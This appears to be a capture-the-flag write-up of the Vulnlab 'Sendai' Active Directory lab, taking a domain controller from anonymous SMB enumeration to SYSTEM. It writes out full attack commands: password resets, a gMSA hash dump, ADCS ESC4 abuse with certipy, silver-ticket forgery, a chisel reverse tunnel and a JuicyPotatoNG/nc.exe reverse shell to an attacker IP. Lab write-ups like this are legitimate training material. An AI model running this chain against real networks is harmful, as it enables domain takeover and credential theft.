7.5 KiB
Vulnlab - Sendai
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: DNS:dc.sendai.vl
| Issuer: commonName=dc.sendai.vl
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.sendai.vl
| Issuer: commonName=dc.sendai.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-04T16:24:01
| Not valid after: 2024-11-03T16:24:01
| MD5: 6198fc32527e478294e38fd5c6a2b81e
|_SHA-1: 73b4d1026b49e0cb9c0d633982377e74f32b7db3
|_ssl-date: 2024-05-05T16:28:56+00:00; -1m22s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open unknown
56740/tcp open unknown
56744/tcp open unknown
PORT 80/443
![](https://i.imgur.com/2xyBd1B.png)
Running gobuster, we can find /service
![](https://i.imgur.com/41s7K0i.png)
However this endpoints shows that we don't have access to it
![](https://i.imgur.com/YgAmiLH.png)
PORT 445
Enumerating smb shares with anonymous login, we'll see config
, sendai
and Users
share, where config was not accessible, Users didn't anything but sendai had some interesting files
![](https://i.imgur.com/mQaCMNk.png)
![](https://i.imgur.com/OjZZNAR.png)
![](https://i.imgur.com/kSTgBfG.png)
The incident talked about users having weak passwords, all users will be prompted to change their password on logging in, the transfer directory had user's directories
![](https://i.imgur.com/Ob5kSkE.png)
Resetting domain user's password
These users can also be enumerated through lookupsid
by brute forcing sids
![](https://i.imgur.com/cNM7HDk.png)
![](https://i.imgur.com/bWjdAf4.png)
impacket-smbpasswd sendai.vl/Thomas.Powell@dc.sendai.vl -newpass '$aduwu123'
![](https://i.imgur.com/2naixZH.png)
![](https://i.imgur.com/3NWYOCE.png)
![](https://i.imgur.com/iOaiZ2c.png)
![](https://i.imgur.com/oQ0cAH9.png)
But this service isn't exposed to us so moving on to enumerating the domain with bloodhound
python3 bloodhound.py -u sqlsvc -p password -d sendai.vl -c all -dc dc.sendai.vl -ns 10.10.104.41
![](https://i.imgur.com/JM5mhTv.png)
Thomas.Powell is a member of Support
group has GenericAll
on ADMSVC
group which has ReadGMSAPassword
on MGTSVC$
account. We'll need to add thomas in ADMSVC group, read the NThash of MGTSVC account
![](https://i.imgur.com/BRPHbql.png)
Abusing GenericAll and reading GMSA password
Through bloodyAD
we can add thomas in ADMSVC group having genericall rights
python3 bloodyAD.py --host "10.10.104.41" -d 'sendai.vl' -u 'thomas.powell' -p '$aduwu123' add groupMember ADMSVC thomas.powell
![](https://i.imgur.com/cS1zoYy.png)
With gmsadumper script or with netexec we can dump the nthash of mgtsvc account
python3 gMSADumper.py -u 'thomas.powell' -p '$aduwu123' -d sendai.vl -l 10.10.104.41
![](https://i.imgur.com/ina1lCb.png)
This account can login on DC as it's part of Remote Management
group
![](https://i.imgur.com/uwRvgKc.png)
Checking the privileges after logging in through evil-winrm, it doesn't have any privilege that we can abuse to get local admin
![](https://i.imgur.com/jxAX90R.png)
Obtaining clifford's password
From the running process, we have helpdesk which doesn't normally run on a system
![](https://i.imgur.com/IxlngBF.png)
Enumerating the system with PrivescCheck.ps1
![](https://i.imgur.com/yO9Rckp.png)
This will list down the running processes from where we'll find the clifford.davey's creds
![](https://i.imgur.com/NPt3pB3.png%7C)
Enumerating ADCS
This user belongs to CA-Operators
group, so he likely will be able to enroll in a custom template, enumerating templates with certipy
![](https://i.imgur.com/Vgev4wX.png)
Escalating privileges through ESC4
certipy find -u clifford.davey -vulnerable -target dc.sendai.vl -dc-ip 10.10.115.126 -stdout
This lists down a template SendaiComputer
which has EKU set to Client Authentication
that can be used to authenticate on the system and ca-operators group has Full control over this template which means we can edit this template and impersonate as the domain admin, which is known as ESC4 (access control) abuse
![](https://i.imgur.com/mQUF4HH.png)
![](https://i.imgur.com/A10lXkN.png)
With certipy, we can change the configuration of this template to allow domain users to enroll for this template and impersonate any user
certipy template -u clifford.davey -target dc.sendai.vl -dc-ip 10.10.115.126 -template SendaiComputer
![](https://i.imgur.com/YycVHAi.png)
![](https://i.imgur.com/FEVEUWg.png)
certipy req -u 'clifford.davey' -ca 'sendai-DC-CA' -dc-ip 10.10.115.126 -target dc.sendai.vl -template 'SendaiComputer' -upn administrator
![](https://i.imgur.com/pCSgIFn.png)
certipy auth -pfx ./administrator.pfx -domain sendai.vl
![](https://i.imgur.com/vgGRaVx.png)
Escalating with SeImpersonate privilege
Another way of escalating privileges is through mssql, since mssql is running internally, having access on the machine we can port forward withchisel
chisel server -p 2222 --reverse
chisel.exe client 10.8.0.136:2222 R:socks
![](https://i.imgur.com/hSVXA3l.png)
But we'll get login denied for sqlsvc account
![](https://i.imgur.com/7dUxhoi.png)
With ticketer,
forging a silver ticket for accessing MSSQL service as an administrator
ticketer.py -domain-sid S-1-5-21-3085872742-570972823-736764132 -domain sendai.vl -spn MSSQL/dc.sendai.vl -nthash hash Administrator
![](https://i.imgur.com/iOKxMa4.png)
![](https://i.imgur.com/ZlBgszU.png)
Enabling xp_cmdshell
which will allow us to execute system commands as sqlsvc
![](https://i.imgur.com/DDGiMXV.png)
The difference here is that we'll have SeImpersonate
privilege, which can abuse to get local admin
![](https://i.imgur.com/CvG90gg.png)
![](https://i.imgur.com/tdEDy5t.png)
Using juicypotato-ng
to abuse the privilege and get a shell a SYSTEM
.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Users\sqlsvc\nc.exe 10.8.0.136 4444 -e cmd.exe"
![](https://i.imgur.com/22805js.png)